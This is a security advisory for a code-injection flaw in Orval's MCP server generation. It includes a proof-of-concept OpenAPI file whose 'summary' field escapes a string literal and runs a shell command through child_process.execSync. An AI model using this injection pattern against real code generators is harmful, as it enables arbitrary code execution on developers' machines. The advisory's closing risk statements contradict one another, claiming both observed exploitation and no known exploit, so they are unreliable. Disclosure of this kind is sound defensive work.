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GHSA-mwr6-3gp8-9jmj
No affected components available
Impact
The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.
Here is an example OpenAPI with the exploit
openapi: 3.0.4
info:
title: Swagger Petstore - OpenAPI 3.0
description: |-
This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about
Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!
You can now help us improve the API whether it's by making changes to the definition itself or to the code.
That way, with time, we can improve the API in general, and expose some of the new features in OAS3.
Some useful links:
- [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)
- [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)
termsOfService: https://swagger.io/terms/
contact:
email: apiteam@swagger.io
license:
name: Apache 2.0
url: https://www.apache.org/licenses/LICENSE-2.0.html
version: 1.0.27-SNAPSHOT
externalDocs:
description: Find out more about Swagger
url: https://swagger.io
servers:
- url: https://petstore3.swagger.io/api/v3
tags:
- name: pet
description: Everything about your Pets
externalDocs:
description: Find out more
url: https://swagger.io
- name: store
description: Access to Petstore orders
externalDocs:
description: Find out more about our store
url: https://swagger.io
- name: user
description: Operations about user
paths:
/pet/findByStatus:
get:
tags:
- pet
summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),//
description: Multiple status values can be provided with comma separated strings.
operationId: findPetsByStatus
parameters:
- name: status
in: query
description: Status values that need to be considered for filter
schema:
type: string
responses:
'200':
description: successful operation
content:
application/json:
schema:
type: string
'400':
description: Invalid status value
default:
description: Unexpected error
security:
- petstore_auth:
- write:pets
- read:pets
Patches
This is fixed in version 7.18.0 or higher
Workarounds
Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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